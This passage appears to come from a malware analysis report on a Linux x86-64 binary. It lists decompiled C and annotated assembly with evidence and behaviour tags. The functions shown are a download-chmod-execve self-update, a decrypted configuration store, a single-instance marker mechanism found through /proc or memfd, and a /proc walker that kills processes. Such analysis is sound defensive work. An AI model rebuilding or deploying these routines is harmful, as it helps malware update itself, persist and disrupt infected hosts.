0040c3c6	8d 14 18	LEA EDX,[RAX + RBX*0x1]
0040c3c9	e8 b3 f1 ff ff	CALL FUN_0040b581
0040c3ce	e9 4d f7 ff ff	JMP LAB_0040bb20
LAB_0040c3d3:
0040c3d3	8b 44 24 20	MOV EAX,dword ptr [RSP + 0x20]
0040c3d7	48 81 c4 d8 33 04 00	ADD RSP,0x433d8
0040c3de	5b	POP RBX
0040c3df	5d	POP RBP
0040c3e0	41 5c	POP R12
0040c3e2	41 5d	POP R13
0040c3e4	41 5e	POP R14
0040c3e6	41 5f	POP R15
0040c3e8	c3	RET

self-update

0x40c42a253 bytes

undefined FUN_0040c42a()

self-update: download to a store path, chmod 0755, execve

Cited as: E13
Behaviours: B9
Called from: FUN_0040c527
Calls: FUN_0040b5d3, FUN_0040b89c, FUN_00413ae0, FUN_0041bdca, FUN_0041c14d, FUN_0041d090

Decompiled C · 53 lines

void FUN_0040c42a(char *param_1)

{
  int iVar1;
  long lVar2;
  ulong uVar3;
  undefined1 *puVar4;
  undefined1 *puVar5;
  byte bVar6;
  undefined1 local_10c0 [16];
  undefined1 *local_10b0;
  char *local_10a8;
  undefined8 local_10a0;
  undefined1 local_1098 [128];
  undefined1 local_1018 [4096];
  
  bVar6 = 0;
  iVar1 = FUN_0040b5d3(local_10c0,0x10);
  if ((((iVar1 != 0) && (DAT_0062e6f0 != 0)) &&
      (*(undefined1 **)(DAT_0062e6f0 + 0x1130) != (undefined1 *)0x0)) &&
     (uVar3 = (ulong)*(uint *)(DAT_0062e6f0 + 0x1138), *(uint *)(DAT_0062e6f0 + 0x1138) - 1 < 0x7f))
  {
    puVar4 = *(undefined1 **)(DAT_0062e6f0 + 0x1130);
    puVar5 = local_1098;
    for (; uVar3 != 0; uVar3 = uVar3 - 1) {
      *puVar5 = *puVar4;
      puVar4 = puVar4 + (ulong)bVar6 * -2 + 1;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
    local_1098[*(int *)(DAT_0062e6f0 + 0x1138)] = 0;
    iVar1 = FUN_0040b89c(local_1098,local_10c0,local_1018);
    if (iVar1 == 0) {
      iVar1 = FUN_0041c14d(local_1018,0x1ed);
      if (iVar1 == 0) {
        if ((param_1 == (char *)0x0) || (*param_1 == '\0')) {
          param_1 = "l";
        }
        lVar2 = FUN_0041d090(local_1018,0x2f);
        local_10b0 = local_1018;
        if (lVar2 != 0) {
          local_10b0 = (undefined1 *)(lVar2 + 1);
        }
        local_10a0 = 0;
        local_10a8 = param_1;
        FUN_00413ae0();
        FUN_0041bdca(local_1018,&local_10b0,DAT_006bc6c0);
      }
    }
  }
  return;
}

Assembly · 63 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
0040c42a	41 54	PUSH R12	; E13
0040c42c	be 10 00 00 00	MOV ESI,0x10
0040c431	55	PUSH RBP
0040c432	53	PUSH RBX
0040c433	48 89 fb	MOV RBX,RDI
0040c436	48 81 ec b0 10 00 00	SUB RSP,0x10b0
0040c43d	4c 8d 64 24 08	LEA R12,[RSP + 0x8]
0040c442	4c 89 e7	MOV RDI,R12
0040c445	e8 89 f1 ff ff	CALL FUN_0040b5d3
0040c44a	85 c0	TEST EAX,EAX
0040c44c	0f 84 c9 00 00 00	JZ LAB_0040c51b
0040c452	48 8b 05 97 22 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
0040c459	48 85 c0	TEST RAX,RAX
0040c45c	0f 84 b9 00 00 00	JZ LAB_0040c51b
0040c462	48 8b b0 30 11 00 00	MOV RSI,qword ptr [RAX + 0x1130]
0040c469	48 85 f6	TEST RSI,RSI
0040c46c	0f 84 a9 00 00 00	JZ LAB_0040c51b
0040c472	8b 88 38 11 00 00	MOV ECX,dword ptr [RAX + 0x1138]
0040c478	8d 51 ff	LEA EDX,[RCX + -0x1]
0040c47b	83 fa 7e	CMP EDX,0x7e
0040c47e	0f 87 97 00 00 00	JA LAB_0040c51b
0040c484	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
0040c489	48 8d ac 24 b0 00 00 00	LEA RBP,[RSP + 0xb0]
0040c491	4c 89 c7	MOV RDI,R8
0040c494	48 89 ea	MOV RDX,RBP
0040c497	f3 a4	MOVSB.REP RDI,RSI
0040c499	4c 89 e6	MOV RSI,R12
0040c49c	4c 89 c7	MOV RDI,R8
0040c49f	48 63 80 38 11 00 00	MOVSXD RAX,dword ptr [RAX + 0x1138]
0040c4a6	c6 44 04 30 00	MOV byte ptr [RSP + RAX*0x1 + 0x30],0x0
0040c4ab	e8 ec f3 ff ff	CALL FUN_0040b89c
0040c4b0	85 c0	TEST EAX,EAX
0040c4b2	75 67	JNZ LAB_0040c51b
0040c4b4	be ed 01 00 00	MOV ESI,0x1ed
0040c4b9	48 89 ef	MOV RDI,RBP
0040c4bc	e8 8c fc 00 00	CALL FUN_0041c14d
0040c4c1	85 c0	TEST EAX,EAX
0040c4c3	75 56	JNZ LAB_0040c51b
0040c4c5	48 85 db	TEST RBX,RBX
0040c4c8	74 05	JZ LAB_0040c4cf
0040c4ca	80 3b 00	CMP byte ptr [RBX],0x0
0040c4cd	75 07	JNZ LAB_0040c4d6
LAB_0040c4cf:
0040c4cf	48 8d 1d 85 ab 01 00	LEA RBX,[DAT_0042705b]
LAB_0040c4d6:
0040c4d6	be 2f 00 00 00	MOV ESI,0x2f
0040c4db	48 89 ef	MOV RDI,RBP
0040c4de	e8 ad 0b 01 00	CALL FUN_0041d090
0040c4e3	48 89 ea	MOV RDX,RBP
0040c4e6	48 85 c0	TEST RAX,RAX
0040c4e9	74 04	JZ LAB_0040c4ef
0040c4eb	48 8d 50 01	LEA RDX,[RAX + 0x1]
LAB_0040c4ef:
0040c4ef	48 89 54 24 18	MOV qword ptr [RSP + local_10b0],RDX
0040c4f4	48 89 5c 24 20	MOV qword ptr [RSP + local_10a8],RBX
0040c4f9	48 c7 44 24 28 00 00 00 …	MOV qword ptr [RSP + local_10a0],0x0
0040c502	e8 d9 75 00 00	CALL FUN_00413ae0
0040c507	48 8b 15 b2 01 2b 00	MOV RDX,qword ptr [DAT_006bc6c0]
0040c50e	48 8d 74 24 18	LEA RSI,[RSP + 0x18]
0040c513	48 89 ef	MOV RDI,RBP
0040c516	e8 af f8 00 00	CALL FUN_0041bdca
LAB_0040c51b:
0040c51b	48 81 c4 b0 10 00 00	ADD RSP,0x10b0
0040c522	5b	POP RBX
0040c523	5d	POP RBP
0040c524	41 5c	POP R12
0040c526	c3	RET

returns the decrypted store entry for a…

0x40c60754 bytes

undefined FUN_0040c607()

returns the decrypted store entry for a slot id

Cited as: E2
Behaviours: B1
Called from: FUN_0040c6c1, FUN_0040c6f4, FUN_0040c8fe
Calls: none

Decompiled C · 20 lines

long FUN_0040c607(uint param_1)

{
  long lVar1;
  long *plVar2;
  
  if ((param_1 < 0x1dc) && (DAT_0062e6f0 != 0)) {
    plVar2 = (long *)(DAT_0062e6f0 + (ulong)param_1 * 0x10);
    lVar1 = *plVar2;
    if (lVar1 != 0) {
      if ((int)plVar2[1] < 1) {
        lVar1 = 0;
      }
      return lVar1;
    }
  }
  return 0;
}

Assembly · 17 instructions, 0 annotated

Address	Bytes	Instruction
0040c607	48 8b 15 e2 20 22 00	MOV RDX,qword ptr [DAT_0062e6f0]
0040c60e	81 ff db 01 00 00	CMP EDI,0x1db
0040c614	77 24	JA LAB_0040c63a
0040c616	48 85 d2	TEST RDX,RDX
0040c619	74 1f	JZ LAB_0040c63a
0040c61b	89 ff	MOV EDI,EDI
0040c61d	48 c1 e7 04	SHL RDI,0x4
0040c621	48 01 fa	ADD RDX,RDI
0040c624	48 8b 02	MOV RAX,qword ptr [RDX]
0040c627	48 85 c0	TEST RAX,RAX
0040c62a	74 10	JZ LAB_0040c63c
0040c62c	83 7a 08 00	CMP dword ptr [RDX + 0x8],0x0
0040c630	ba 00 00 00 00	MOV EDX,0x0
0040c635	48 0f 4e c2	CMOVLE RAX,RDX
0040c639	c3	RET
LAB_0040c63a:
0040c63a	31 c0	XOR EAX,EAX
LAB_0040c63c:
0040c63c	c3	RET

maps a marker fd 0x1000 bytes PROT_READ…

0x40c63d54 bytes

undefined FUN_0040c63d()

maps a marker fd 0x1000 bytes PROT_READ MAP_PRIVATE into 0x62bdc0

Cited as: E33
Behaviours: B2
Called from: FUN_0040c673, FUN_0040c8fe
Calls: FUN_0041951f

Decompiled C · 20 lines

undefined1  [16]
FUN_0040c63d(undefined4 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  long lVar1;
  undefined8 uVar2;
  undefined1 auVar3 [16];
  
  lVar1 = FUN_0041951f(0,0x1000,1,2,param_1,0);
  uVar2 = 0xffffffff;
  if (lVar1 != -1) {
    uVar2 = 0;
    DAT_0062bdc0 = lVar1;
  }
  auVar3._8_8_ = param_4;
  auVar3._0_8_ = uVar2;
  return auVar3;
}

Assembly · 16 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
0040c63d	51	PUSH RCX	; E33
0040c63e	41 89 f8	MOV R8D,EDI
0040c641	45 31 c9	XOR R9D,R9D
0040c644	b9 02 00 00 00	MOV ECX,0x2
0040c649	ba 01 00 00 00	MOV EDX,0x1
0040c64e	be 00 10 00 00	MOV ESI,0x1000
0040c653	31 ff	XOR EDI,EDI
0040c655	e8 c5 ce 00 00	CALL FUN_0041951f
0040c65a	41 83 c8 ff	OR R8D,0xffffffff
0040c65e	48 83 f8 ff	CMP RAX,-0x1
0040c662	74 0a	JZ LAB_0040c66e
0040c664	48 89 05 55 f7 21 00	MOV qword ptr [DAT_0062bdc0],RAX
0040c66b	45 31 c0	XOR R8D,R8D
LAB_0040c66e:
0040c66e	44 89 c0	MOV EAX,R8D
0040c671	5a	POP RDX
0040c672	c3	RET

scans per-process /proc files for a…

0x40c6f4522 bytes

undefined FUN_0040c6f4()

scans per-process /proc files for a matching marker mapping and opens it

Cited as: E33
Behaviours: B2
Called from: FUN_0040c8fe
Calls: FUN_0040c607, FUN_0040c673, FUN_0040c6c1, FUN_0040d0a8, FUN_0040d0f8, FUN_0040d114, FUN_0040d152, FUN_00417776, FUN_0041779c, FUN_004177dd, FUN_00417dc5, FUN_0041c161, FUN_0041cad4, FUN_0041db41, FUN_0041dcd6

Decompiled C · 82 lines

undefined8 FUN_0040c6f4(void)

{
  int iVar1;
  long lVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  undefined1 *puVar6;
  undefined8 uVar7;
  char *pcVar8;
  undefined1 auStack_20b8 [24];
  uint local_20a0;
  undefined1 local_2028 [4096];
  char local_1028 [4096];
  
  lVar2 = FUN_0040c607(0x15e);
  if ((lVar2 != 0) ||
     (((DAT_0062e6f0 != 0 && (lVar2 = *(long *)(DAT_0062e6f0 + 0xce0), lVar2 != 0)) &&
      (4 < *(int *)(DAT_0062e6f0 + 0xce8))))) {
    lVar2 = FUN_0041779c(lVar2);
    if (lVar2 != 0) {
LAB_0040c743:
      lVar3 = FUN_004177dd(lVar2);
      if (lVar3 != 0) {
        if (*(char *)(lVar3 + 0x12) != '\x04') goto code_r0x0040c73f;
        goto LAB_0040c7ba;
      }
      FUN_00417776(lVar2);
    }
  }
  return 0xffffffff;
code_r0x0040c73f:
  if ((*(char *)(lVar3 + 0x12) == '\0') && (lVar4 = FUN_0040c6c1(), lVar4 != 0)) {
    FUN_0040d152(local_2028,lVar4);
    FUN_0040d0a8(local_2028,lVar3 + 0x13);
    iVar1 = FUN_0041c161(local_2028,auStack_20b8);
    if ((iVar1 == 0) && ((local_20a0 & 0xf000) == 0x4000)) {
LAB_0040c7ba:
      iVar1 = FUN_0041cad4(lVar3 + 0x13);
      lVar4 = FUN_0040c607(0x181);
      if ((iVar1 != 0) && (lVar5 = FUN_0040c6c1(), lVar5 != 0)) {
        FUN_0040d152(local_2028,lVar5);
        FUN_0040d0a8(local_2028,lVar3 + 0x13);
        if (lVar4 != 0) {
          FUN_0040d0a8(local_2028,lVar4);
        }
        iVar1 = FUN_00417dc5(local_2028,0);
        if (iVar1 != -1) {
          pcVar8 = local_1028;
          lVar3 = FUN_0041dcd6(iVar1,pcVar8,0xfff);
          FUN_0041db41(iVar1);
          if (1 < lVar3) {
            local_1028[lVar3] = '\0';
            while (*pcVar8 != '\0') {
              puVar6 = (undefined1 *)FUN_0040d0f8(pcVar8,10);
              if (puVar6 != (undefined1 *)0x0) {
                *puVar6 = 0;
              }
              uVar7 = FUN_0040c607(0x183);
              lVar3 = FUN_0040d114(pcVar8,uVar7);
              if ((lVar3 != 0) && (iVar1 = FUN_0040c673(lVar3), iVar1 == 0)) {
LAB_0040c8c4:
                FUN_00417776(lVar2);
                return 0;
              }
              uVar7 = FUN_0040c607(0x184);
              lVar3 = FUN_0040d114(pcVar8,uVar7);
              if ((lVar3 != 0) && (iVar1 = FUN_0040c673(lVar3), iVar1 == 0)) goto LAB_0040c8c4;
              if (puVar6 == (undefined1 *)0x0) break;
              *puVar6 = 10;
              pcVar8 = puVar6 + 1;
            }
          }
        }
      }
    }
  }
  goto LAB_0040c743;
}

Assembly · 147 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
0040c6f4	41 56	PUSH R14	; E33
0040c6f6	bf 5e 01 00 00	MOV EDI,0x15e
0040c6fb	41 55	PUSH R13
0040c6fd	41 54	PUSH R12
0040c6ff	55	PUSH RBP
0040c700	53	PUSH RBX
0040c701	48 81 ec 90 20 00 00	SUB RSP,0x2090
0040c708	e8 fa fe ff ff	CALL FUN_0040c607
0040c70d	48 89 c7	MOV RDI,RAX
0040c710	48 85 c0	TEST RAX,RAX
0040c713	75 4e	JNZ LAB_0040c763
0040c715	48 8b 05 d4 1f 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
0040c71c	48 85 c0	TEST RAX,RAX
0040c71f	74 3a	JZ LAB_0040c75b
0040c721	48 8b b8 e0 0c 00 00	MOV RDI,qword ptr [RAX + 0xce0]
0040c728	48 85 ff	TEST RDI,RDI
0040c72b	74 2e	JZ LAB_0040c75b
0040c72d	83 b8 e8 0c 00 00 04	CMP dword ptr [RAX + 0xce8],0x4
0040c734	7f 2d	JG LAB_0040c763
0040c736	eb 23	JMP LAB_0040c75b
LAB_0040c738:
0040c738	8a 45 12	MOV AL,byte ptr [RBP + 0x12]
0040c73b	3c 04	CMP AL,0x4
0040c73d	74 7b	JZ LAB_0040c7ba
0040c73f	84 c0	TEST AL,AL
0040c741	74 37	JZ LAB_0040c77a
LAB_0040c743:
0040c743	4c 89 ef	MOV RDI,R13
0040c746	e8 92 b0 00 00	CALL FUN_004177dd
0040c74b	48 89 c5	MOV RBP,RAX
0040c74e	48 85 c0	TEST RAX,RAX
0040c751	75 e5	JNZ LAB_0040c738
0040c753	4c 89 ef	MOV RDI,R13
0040c756	e8 1b b0 00 00	CALL FUN_00417776
LAB_0040c75b:
0040c75b	83 c8 ff	OR EAX,0xffffffff
0040c75e	e9 8b 01 00 00	JMP LAB_0040c8ee
LAB_0040c763:
0040c763	e8 34 b0 00 00	CALL FUN_0041779c
0040c768	4c 8d a4 24 90 00 00 00	LEA R12,[RSP + 0x90]
0040c770	49 89 c5	MOV R13,RAX
0040c773	48 85 c0	TEST RAX,RAX
0040c776	75 cb	JNZ LAB_0040c743
0040c778	eb e1	JMP LAB_0040c75b
LAB_0040c77a:
0040c77a	e8 42 ff ff ff	CALL FUN_0040c6c1
0040c77f	48 89 c6	MOV RSI,RAX
0040c782	48 85 c0	TEST RAX,RAX
0040c785	74 bc	JZ LAB_0040c743
0040c787	4c 89 e7	MOV RDI,R12
0040c78a	e8 c3 09 00 00	CALL FUN_0040d152
0040c78f	48 8d 75 13	LEA RSI,[RBP + 0x13]
0040c793	4c 89 e7	MOV RDI,R12
0040c796	e8 0d 09 00 00	CALL FUN_0040d0a8
0040c79b	48 89 e6	MOV RSI,RSP
0040c79e	4c 89 e7	MOV RDI,R12
0040c7a1	e8 bb f9 00 00	CALL FUN_0041c161
0040c7a6	85 c0	TEST EAX,EAX
0040c7a8	75 99	JNZ LAB_0040c743
0040c7aa	8b 44 24 18	MOV EAX,dword ptr [RSP + local_20a0]
0040c7ae	25 00 f0 00 00	AND EAX,0xf000
0040c7b3	3d 00 40 00 00	CMP EAX,0x4000
0040c7b8	75 89	JNZ LAB_0040c743
LAB_0040c7ba:
0040c7ba	48 83 c5 13	ADD RBP,0x13
0040c7be	48 89 ef	MOV RDI,RBP
0040c7c1	e8 0e 03 01 00	CALL FUN_0041cad4
0040c7c6	bf 81 01 00 00	MOV EDI,0x181
0040c7cb	89 c1	MOV ECX,EAX
0040c7cd	e8 35 fe ff ff	CALL FUN_0040c607
0040c7d2	49 89 c6	MOV R14,RAX
0040c7d5	85 c9	TEST ECX,ECX
0040c7d7	0f 84 66 ff ff ff	JZ LAB_0040c743
0040c7dd	e8 df fe ff ff	CALL FUN_0040c6c1
0040c7e2	48 89 c6	MOV RSI,RAX
0040c7e5	48 85 c0	TEST RAX,RAX
0040c7e8	0f 84 55 ff ff ff	JZ LAB_0040c743
0040c7ee	4c 89 e7	MOV RDI,R12
0040c7f1	e8 5c 09 00 00	CALL FUN_0040d152
0040c7f6	48 89 ee	MOV RSI,RBP
0040c7f9	4c 89 e7	MOV RDI,R12
0040c7fc	e8 a7 08 00 00	CALL FUN_0040d0a8
0040c801	4d 85 f6	TEST R14,R14
0040c804	74 0b	JZ LAB_0040c811
0040c806	4c 89 f6	MOV RSI,R14
0040c809	4c 89 e7	MOV RDI,R12
0040c80c	e8 97 08 00 00	CALL FUN_0040d0a8
LAB_0040c811:
0040c811	31 f6	XOR ESI,ESI
0040c813	4c 89 e7	MOV RDI,R12
0040c816	31 c0	XOR EAX,EAX
0040c818	e8 a8 b5 00 00	CALL FUN_00417dc5
0040c81d	41 89 c6	MOV R14D,EAX
0040c820	83 f8 ff	CMP EAX,-0x1
0040c823	0f 84 1a ff ff ff	JZ LAB_0040c743
0040c829	48 8d ac 24 90 10 00 00	LEA RBP,[RSP + 0x1090]
0040c831	89 c7	MOV EDI,EAX
0040c833	ba ff 0f 00 00	MOV EDX,0xfff
0040c838	48 89 ee	MOV RSI,RBP
0040c83b	e8 96 14 01 00	CALL FUN_0041dcd6
0040c840	44 89 f7	MOV EDI,R14D
0040c843	48 89 c3	MOV RBX,RAX
0040c846	e8 f6 12 01 00	CALL FUN_0041db41
0040c84b	48 83 fb 01	CMP RBX,0x1
0040c84f	0f 8e ee fe ff ff	JLE LAB_0040c743
0040c855	c6 84 1c 90 10 00 00 00	MOV byte ptr [RSP + RBX*0x1 + 0x1090],0x0
LAB_0040c85d:
0040c85d	80 7d 00 00	CMP byte ptr [RBP],0x0
0040c861	0f 84 dc fe ff ff	JZ LAB_0040c743
0040c867	be 0a 00 00 00	MOV ESI,0xa
0040c86c	48 89 ef	MOV RDI,RBP
0040c86f	e8 84 08 00 00	CALL FUN_0040d0f8
0040c874	48 89 c3	MOV RBX,RAX
0040c877	48 85 c0	TEST RAX,RAX
0040c87a	74 03	JZ LAB_0040c87f
0040c87c	c6 00 00	MOV byte ptr [RAX],0x0
LAB_0040c87f:
0040c87f	bf 83 01 00 00	MOV EDI,0x183
0040c884	e8 7e fd ff ff	CALL FUN_0040c607
0040c889	48 89 ef	MOV RDI,RBP
0040c88c	48 89 c6	MOV RSI,RAX
0040c88f	e8 80 08 00 00	CALL FUN_0040d114
0040c894	48 89 c7	MOV RDI,RAX
0040c897	48 85 c0	TEST RAX,RAX
0040c89a	75 1f	JNZ LAB_0040c8bb
LAB_0040c89c:
0040c89c	bf 84 01 00 00	MOV EDI,0x184
0040c8a1	e8 61 fd ff ff	CALL FUN_0040c607
0040c8a6	48 89 ef	MOV RDI,RBP
0040c8a9	48 89 c6	MOV RSI,RAX
0040c8ac	e8 63 08 00 00	CALL FUN_0040d114
0040c8b1	48 89 c7	MOV RDI,RAX
0040c8b4	48 85 c0	TEST RAX,RAX
0040c8b7	75 17	JNZ LAB_0040c8d0
0040c8b9	eb 1e	JMP LAB_0040c8d9
LAB_0040c8bb:
0040c8bb	e8 b3 fd ff ff	CALL FUN_0040c673
0040c8c0	85 c0	TEST EAX,EAX
0040c8c2	75 d8	JNZ LAB_0040c89c
LAB_0040c8c4:
0040c8c4	4c 89 ef	MOV RDI,R13
0040c8c7	e8 aa ae 00 00	CALL FUN_00417776
0040c8cc	31 c0	XOR EAX,EAX
0040c8ce	eb 1e	JMP LAB_0040c8ee
LAB_0040c8d0:
0040c8d0	e8 9e fd ff ff	CALL FUN_0040c673
0040c8d5	85 c0	TEST EAX,EAX
0040c8d7	74 eb	JZ LAB_0040c8c4
LAB_0040c8d9:
0040c8d9	48 85 db	TEST RBX,RBX
0040c8dc	0f 84 61 fe ff ff	JZ LAB_0040c743
0040c8e2	c6 03 0a	MOV byte ptr [RBX],0xa
0040c8e5	48 8d 6b 01	LEA RBP,[RBX + 0x1]
0040c8e9	e9 6f ff ff ff	JMP LAB_0040c85d
LAB_0040c8ee:
0040c8ee	48 81 c4 90 20 00 00	ADD RSP,0x2090
0040c8f5	5b	POP RBX
0040c8f6	5d	POP RBP
0040c8f7	41 5c	POP R12
0040c8f9	41 5d	POP R13
0040c8fb	41 5e	POP R14
0040c8fd	c3	RET

sets up the shared read-only marker page

0x40c8fe372 bytes

undefined FUN_0040c8fe()

sets up the shared read-only marker page: existing file, /proc-found mapping, memfd or 0600 file

Cited as: E33
Behaviours: B2
Called from: FUN_004001d0, FUN_004163d6
Calls: FUN_0040c607, FUN_0040c63d, FUN_0040c673, FUN_0040c6f4, FUN_0040d114, FUN_00417dc5, FUN_0041944f, FUN_0041d090, FUN_0041db41, FUN_0041dd93, FUN_0041ddd5

Decompiled C · 48 lines

undefined4 FUN_0040c8fe(void)

{
  int iVar1;
  int iVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  
  if (DAT_0062bdc0 != 0) {
    return 0;
  }
  lVar5 = 0;
  do {
    lVar3 = FUN_0040c607((&DAT_00426ee0)[lVar5]);
    if ((((lVar3 != 0) && (lVar4 = FUN_0040d114(lVar3,"x86_64"), lVar4 == 0)) &&
        (lVar4 = FUN_0040d114(lVar3,"x86-64"), lVar4 == 0)) &&
       (iVar1 = FUN_0040c673(lVar3), iVar1 == 0)) {
      return 0;
    }
    lVar5 = lVar5 + 1;
  } while (lVar5 != 0x10);
  iVar1 = FUN_0040c6f4();
  if (iVar1 == 0) {
    return 0;
  }
  lVar5 = FUN_0040c607(0x185);
  if (((lVar5 != 0) && (lVar5 = FUN_0041d090(lVar5,0x2f), lVar5 != 0)) &&
     (iVar1 = FUN_0041944f(0x13f,lVar5 + 1,1), -1 < iVar1)) {
    lVar5 = FUN_0041ddd5(iVar1,&DAT_00426ed2,1);
    if ((lVar5 == 1) && (iVar2 = FUN_0040c63d(), iVar2 == 0)) goto LAB_0040ca61;
    FUN_0041db41(iVar1);
  }
  lVar5 = FUN_0040c607(0x166);
  if ((lVar5 != 0) && (iVar1 = FUN_00417dc5(lVar5,0x242,0x180), -1 < iVar1)) {
    lVar3 = FUN_0041ddd5(iVar1,&DAT_00428c67,1);
    if ((lVar3 == 1) && (iVar2 = FUN_0040c63d(), iVar2 == 0)) {
LAB_0040ca61:
      FUN_0041db41(iVar1);
      return 0;
    }
    FUN_0041db41(iVar1);
    FUN_0041dd93(lVar5);
  }
  return 0xffffffff;
}

Assembly · 106 instructions, 3 annotated, 1 cited

Address	Bytes	Instruction	Comment
0040c8fe	41 54	PUSH R12	; E33
0040c900	55	PUSH RBP
0040c901	53	PUSH RBX
0040c902	48 83 ec 10	SUB RSP,0x10
0040c906	48 83 3d b2 f4 21 00 00	CMP qword ptr [DAT_0062bdc0],0x0
0040c90e	74 08	JZ LAB_0040c918
LAB_0040c910:
0040c910	45 31 e4	XOR R12D,R12D
0040c913	e9 4e 01 00 00	JMP LAB_0040ca66
LAB_0040c918:
0040c918	45 31 e4	XOR R12D,R12D
0040c91b	48 8d 1d be a5 01 00	LEA RBX,[DAT_00426ee0]
LAB_0040c922:
0040c922	42 8b 3c a3	MOV EDI,dword ptr [RBX + R12*0x4]
0040c926	e8 dc fc ff ff	CALL FUN_0040c607
0040c92b	48 89 c5	MOV RBP,RAX
0040c92e	48 85 c0	TEST RAX,RAX
0040c931	75 0b	JNZ LAB_0040c93e
LAB_0040c933:
0040c933	49 ff c4	INC R12
0040c936	49 83 fc 10	CMP R12,0x10
0040c93a	75 e6	JNZ LAB_0040c922
0040c93c	eb 36	JMP LAB_0040c974
LAB_0040c93e:
0040c93e	48 8d 35 7f a5 01 00	LEA RSI,[s_x86_64_00426ec4]	; "x86_64"
0040c945	48 89 c7	MOV RDI,RAX
0040c948	e8 c7 07 00 00	CALL FUN_0040d114
0040c94d	48 85 c0	TEST RAX,RAX
0040c950	75 e1	JNZ LAB_0040c933
0040c952	48 8d 35 72 a5 01 00	LEA RSI,[s_x86-64_00426ecb]	; "x86-64"
0040c959	48 89 ef	MOV RDI,RBP
0040c95c	e8 b3 07 00 00	CALL FUN_0040d114
0040c961	48 85 c0	TEST RAX,RAX
0040c964	75 cd	JNZ LAB_0040c933
0040c966	48 89 ef	MOV RDI,RBP
0040c969	e8 05 fd ff ff	CALL FUN_0040c673
0040c96e	85 c0	TEST EAX,EAX
0040c970	75 c1	JNZ LAB_0040c933
0040c972	eb 9c	JMP LAB_0040c910
LAB_0040c974:
0040c974	e8 7b fd ff ff	CALL FUN_0040c6f4
0040c979	85 c0	TEST EAX,EAX
0040c97b	74 93	JZ LAB_0040c910
0040c97d	bf 85 01 00 00	MOV EDI,0x185
0040c982	e8 80 fc ff ff	CALL FUN_0040c607
0040c987	48 89 c7	MOV RDI,RAX
0040c98a	48 85 c0	TEST RAX,RAX
0040c98d	74 61	JZ LAB_0040c9f0
0040c98f	be 2f 00 00 00	MOV ESI,0x2f
0040c994	e8 f7 06 01 00	CALL FUN_0041d090
0040c999	48 85 c0	TEST RAX,RAX
0040c99c	74 52	JZ LAB_0040c9f0
0040c99e	48 8d 70 01	LEA RSI,[RAX + 0x1]
0040c9a2	bf 3f 01 00 00	MOV EDI,0x13f
0040c9a7	ba 01 00 00 00	MOV EDX,0x1
0040c9ac	31 c0	XOR EAX,EAX
0040c9ae	e8 9c ca 00 00	CALL FUN_0041944f
0040c9b3	89 c7	MOV EDI,EAX
0040c9b5	85 c0	TEST EAX,EAX
0040c9b7	78 37	JS LAB_0040c9f0
0040c9b9	ba 01 00 00 00	MOV EDX,0x1
0040c9be	48 8d 35 0d a5 01 00	LEA RSI,[DAT_00426ed2]
0040c9c5	89 44 24 0c	MOV dword ptr [RSP + local_1c],EAX
0040c9c9	e8 07 14 01 00	CALL FUN_0041ddd5
0040c9ce	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_1c]
0040c9d2	48 ff c8	DEC RAX
0040c9d5	75 14	JNZ LAB_0040c9eb
0040c9d7	89 7c 24 0c	MOV dword ptr [RSP + local_1c],EDI
0040c9db	e8 5d fc ff ff	CALL FUN_0040c63d
0040c9e0	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_1c]
0040c9e4	85 c0	TEST EAX,EAX
0040c9e6	41 89 c4	MOV R12D,EAX
0040c9e9	74 76	JZ LAB_0040ca61
LAB_0040c9eb:
0040c9eb	e8 51 11 01 00	CALL FUN_0041db41
LAB_0040c9f0:
0040c9f0	bf 66 01 00 00	MOV EDI,0x166
0040c9f5	e8 0d fc ff ff	CALL FUN_0040c607
0040c9fa	48 89 c5	MOV RBP,RAX
0040c9fd	48 85 c0	TEST RAX,RAX
0040ca00	74 59	JZ LAB_0040ca5b
0040ca02	48 89 c7	MOV RDI,RAX
0040ca05	ba 80 01 00 00	MOV EDX,0x180
0040ca0a	be 42 02 00 00	MOV ESI,0x242
0040ca0f	31 c0	XOR EAX,EAX
0040ca11	e8 af b3 00 00	CALL FUN_00417dc5
0040ca16	89 c7	MOV EDI,EAX
0040ca18	85 c0	TEST EAX,EAX
0040ca1a	78 3f	JS LAB_0040ca5b
0040ca1c	ba 01 00 00 00	MOV EDX,0x1
0040ca21	48 8d 35 3f c2 01 00	LEA RSI,[DAT_00428c67]
0040ca28	89 44 24 0c	MOV dword ptr [RSP + local_1c],EAX
0040ca2c	e8 a4 13 01 00	CALL FUN_0041ddd5
0040ca31	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_1c]
0040ca35	48 ff c8	DEC RAX
0040ca38	75 14	JNZ LAB_0040ca4e
0040ca3a	89 7c 24 0c	MOV dword ptr [RSP + local_1c],EDI
0040ca3e	e8 fa fb ff ff	CALL FUN_0040c63d
0040ca43	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_1c]
0040ca47	85 c0	TEST EAX,EAX
0040ca49	41 89 c4	MOV R12D,EAX
0040ca4c	74 13	JZ LAB_0040ca61
LAB_0040ca4e:
0040ca4e	e8 ee 10 01 00	CALL FUN_0041db41
0040ca53	48 89 ef	MOV RDI,RBP
0040ca56	e8 38 13 01 00	CALL FUN_0041dd93
LAB_0040ca5b:
0040ca5b	41 83 cc ff	OR R12D,0xffffffff
0040ca5f	eb 05	JMP LAB_0040ca66
LAB_0040ca61:
0040ca61	e8 db 10 01 00	CALL FUN_0041db41
LAB_0040ca66:
0040ca66	48 83 c4 10	ADD RSP,0x10
0040ca6a	44 89 e0	MOV EAX,R12D
0040ca6d	5b	POP RBX
0040ca6e	5d	POP RBP
0040ca6f	41 5c	POP R12
0040ca71	c3	RET

/proc walker with readlink and kill

0x40cb5a969 bytes

undefined FUN_0040cb5a()

/proc walker with readlink and kill (syscall profile)

Cited as: E19
Behaviours: B5, B10
Called from: FUN_00412d78
